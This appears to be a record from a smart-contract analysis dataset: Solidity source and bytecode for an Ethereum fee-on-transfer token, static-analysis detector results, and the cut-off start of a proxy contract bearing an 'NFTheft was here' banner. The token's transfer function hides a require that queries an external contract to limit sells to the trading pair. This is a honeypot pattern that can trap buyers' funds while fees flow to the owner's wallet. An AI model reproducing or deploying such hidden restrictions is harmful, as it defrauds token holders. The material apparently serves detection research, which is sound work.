private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600c81526020017f456c6f6e204d61727469616e0000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067016345785d8a0000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f454c4f4e4d41525449414e000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061194f67016345785d8a000060075461170690919063ffffffff16565b82101561196d5760075467016345785d8a0000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ee103140397c2cb15a6ed0200381b1db62a965ec77fc23b245d7bb1567d8cd364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,511
0x65c234d041f9ef96e2f126263727dfa582206d82
/** *Submitted for verification at Etherscan.io on 2021-10-31 */ /* ████████████████████████████████████████ ███████▓█████▓▓╬╬╬╬╬╬╬╬▓███▓╬╬╬╬╬╬╬▓╬╬▓█ ████▓▓▓▓╬╬▓█████╬╬╬╬╬╬███▓╬╬╬╬╬╬╬╬╬╬╬╬╬█ ███▓▓▓▓╬╬╬╬╬╬▓██╬╬╬╬╬╬▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ████▓▓▓╬╬╬╬╬╬╬▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ███▓█▓███████▓▓███▓╬╬╬╬╬╬▓███████▓╬╬╬╬▓█ ████████████████▓█▓╬╬╬╬╬▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬█ ███▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ████▓▓▓▓▓▓▓▓▓▓▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ ███▓█▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ █████▓▓▓▓▓▓▓▓█▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█ █████▓▓▓▓▓▓▓██▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ █████▓▓▓▓▓████▓▓▓█▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ ████▓█▓▓▓▓██▓▓▓▓██╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██ ████▓▓███▓▓▓▓▓▓▓██▓╬╬╬╬╬╬╬╬╬╬╬╬█▓╬▓╬╬▓██ █████▓███▓▓▓▓▓▓▓▓████▓▓╬╬╬╬╬╬╬█▓╬╬╬╬╬▓██ █████▓▓█▓███▓▓▓████╬▓█▓▓╬╬╬▓▓█▓╬╬╬╬╬╬███ ██████▓██▓███████▓╬╬╬▓▓╬▓▓██▓╬╬╬╬╬╬╬▓███ ███████▓██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬████ ███████▓▓██▓▓▓▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓████ ████████▓▓▓█████▓▓╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬▓█████ █████████▓▓▓█▓▓▓▓▓███▓╬╬╬╬╬╬╬╬╬╬╬▓██████ ██████████▓▓▓█▓▓▓▓▓██╬╬╬╬╬╬╬╬╬╬╬▓███████ ███████████▓▓█▓▓▓▓███▓╬╬╬╬╬╬╬╬╬▓████████ ██████████████▓▓▓███▓▓╬╬╬╬╬╬╬╬██████████ ███████████████▓▓▓██▓▓╬╬╬╬╬╬▓███████████ ████████████████████████████████████████ ███████████ NFTheft was here ███████████ ████████████████████████████████████████ 2b02E63c9C7ed9fDC5fdc73E02Df0F8ee7Cdd3C4 ████████████████████████████████████████ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Proxy { function _delegate(address implementation) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _implementation() internal view virtual returns (address); function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } fallback () external payable virtual { _fallback(); } receive () external payable virtual { _fallback(); } function _beforeFallback() internal virtual { } } abstract contract ERC1967Upgrade { bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; bytes32 internal constant _IMPLEMENTATION_SLOT = 